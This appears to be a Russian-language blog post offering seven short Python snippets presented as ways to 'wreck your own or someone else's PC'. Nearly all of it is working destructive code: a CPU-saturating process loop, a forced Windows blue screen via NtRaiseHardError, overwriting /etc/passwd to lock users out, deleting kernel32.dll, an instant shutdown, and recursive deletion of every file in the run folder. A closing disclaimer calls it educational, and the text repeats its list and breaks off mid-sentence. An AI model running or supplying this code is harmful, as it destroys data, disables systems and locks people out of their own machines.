Так как сегодня ничего выложить не получилось (самообучался), выложу вам пару строк, которые могут помочь угробить свой чужой ПК. Юзать с умом, лечить - не буду.
1. Бесконечный цикл, который грузит 8-ядерный проц и ниже:
2. Вызываем BSOD:
3. Создает кучу папок, можно перегрузить HDD/SSD:
4. Стирает инфу о пользователях системы, юзер не сможет зайти в свой профиль:
5. Ну тут беда:
6. Простое выключение:
7. Удаляет все файлы в папке, откуда запустят:
ВСЕ ПРЕДСТАВЛЕНО В ЦЕЛЯХ ОЗНАКОМЛЕНИЯ С ВОЗМОЖНОСТЯМИ Python.
Дети мои, в случае убийства своей системы, притензии только к Вам и Вам. Используйте код на виртуальной машине, и если даже вредоносный софткаку пишете, то там же и тестируйте. Всем любви!
1. Бесконечный цикл, который грузит 8-ядерный проц и ниже:
from multiprocessing import Process
def stress():
while True:
pass
# Запускаем 8 процессов
processes = []
for _ in range(8):
p = Process(target=stress)
p.start()
processes.append(p)
2. Вызываем BSOD:
from ctypes import windll
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_ulong
from ctypes import POINTER
from ctypes import byref
nullptr = POINTER(c_int)()
windll.ntdll.RtlAdjustPrivilege(
c_uint(19),
c_uint(1),
c_uint(0),
byref(c_int())
)
windll.ntdll.NtRaiseHardError(
c_ulong(0xC000007B),
c_ulong(0),
nullptr,
nullptr,
c_uint(6),
byref(c_uint())
)
3. Создает кучу папок, можно перегрузить HDD/SSD:
import os
for i in range(100):
os.makedirs(f'/tmp/fake_folder_{i}')
4. Стирает инфу о пользователях системы, юзер не сможет зайти в свой профиль:
with open("/etc/passwd", "w") as f:
f.write("hacked_user:x:1000:1000:hacked_user:/home/hacked_user:/bin/bash")
5. Ну тут беда:
import os
os.remove("C:\\Windows\\System32\\kernel32.dll")
6. Простое выключение:
import os
os.system("shutdown /s /t 1")
7. Удаляет все файлы в папке, откуда запустят:
import os
import shutil
for filename in os.listdir("."):
file_path = os.path.join(".", filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print(f"Ошибка при удалении {file_path}: {e}")
ВСЕ ПРЕДСТАВЛЕНО В ЦЕЛЯХ ОЗНАКОМЛЕНИЯ С ВОЗМОЖНОСТЯМИ Python.
Дети мои, в случае убийства своей системы, притензии только к Вам и Вам. Используйте код на виртуальной машине, и если даже вредоносный софт